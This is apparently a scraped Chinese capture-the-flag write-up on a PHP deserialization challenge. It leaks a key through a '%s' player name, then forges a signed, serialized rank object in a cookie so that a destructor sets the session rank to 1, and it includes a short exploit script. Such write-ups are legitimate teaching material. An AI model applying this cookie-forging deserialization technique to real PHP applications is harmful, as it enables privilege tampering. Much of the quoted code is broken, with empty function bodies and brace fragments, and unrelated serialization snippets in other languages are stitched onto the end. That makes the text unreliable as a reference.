這次hgame-week3 的序列之爭出的很棒,也讓我進一步體會到了反序列化漏洞的原理
private function init($data)
}
呼叫的時候
$data = [$playername, $this->encryptkey];
$this->init($data);
而 welcommsg 本身只有乙個%s
所以我們讓$playername
為%s
就能做到洩露出金鑰
拿到 flag的條件
<?php if($game->rank->get() === 1)?>
要控制$game->rank->get()
返回值為1
由於$game
的構造方法
public function __construct($playername)
$data = [$playername, $this->encryptkey];
$this->init($data);
$this->monster = new monster($this->sign);
$this->rank = new rank();
}
先看rank
類
public function __construct()
$this->set($_session['rank']);
}
構造方法會傳入session中的rank值
其他的幾個方法沒有太大的用處
但是析構方法中
public function __destruct()else
}
只要滿足$this->key === $this->serverkey
就會將$this->rank
的值賦值給 session中存起來,表面上看沒什麼,但是利用點就是在這裡
最後我們看到存在反序列化的點
public function __construct($key)
$monsterdata = base64_decode($_cookie['monster']);
if(strlen($monsterdata) > 32)else
}$this->set();
}
我們可以將rank
類序列化
然後這個類銷毀的時候就會設定 session中的ran值,這樣下一次例項化 rank 類的時候,rank的值就是1了
<?php
class rank
$data = ['e99', 'gkufua7gfpqui3dguthx6xius3zamcll'];
$sign = '';
foreach ($data as $key => $value)
$rank = serialize(new rank());
var_dump(base64_encode($rank.md5($rank.$sign)));
?>
當然這裡還有乙個條件需要滿足$this->key === $this->serverkey
這個可以用取位址來做到,但是實際測試的時候上述的exp也是可以的
序列化反序列化
只要用到網路開發啊,就一定會用到序列化反序列化。1,自定義結構體 struct test int len int type char data 10 test data test buffer.缺點 明文,只支援基本型別,不支援變長結構 2,在1的基礎上,自定義乙個緩衝類,存放乙個訊息。把訊息寫入緩...
序列化反序列化
using system using system.collections.generic using system.io using system.linq using system.text using system.threading.tasks namespace 序列化反序列化 syste...
序列化和反序列化 C 序列化與反序列化。
序列化介紹 把物件用一種新的格式來表示。系列化只序列化資料。序列化不建議使用自動屬性 為什麼要序列化 將乙個複雜的物件轉換流,方便儲存與資訊交換。class program class person public int age 二進位制序列化 就是將物件變成流的過程,把物件變成byte class...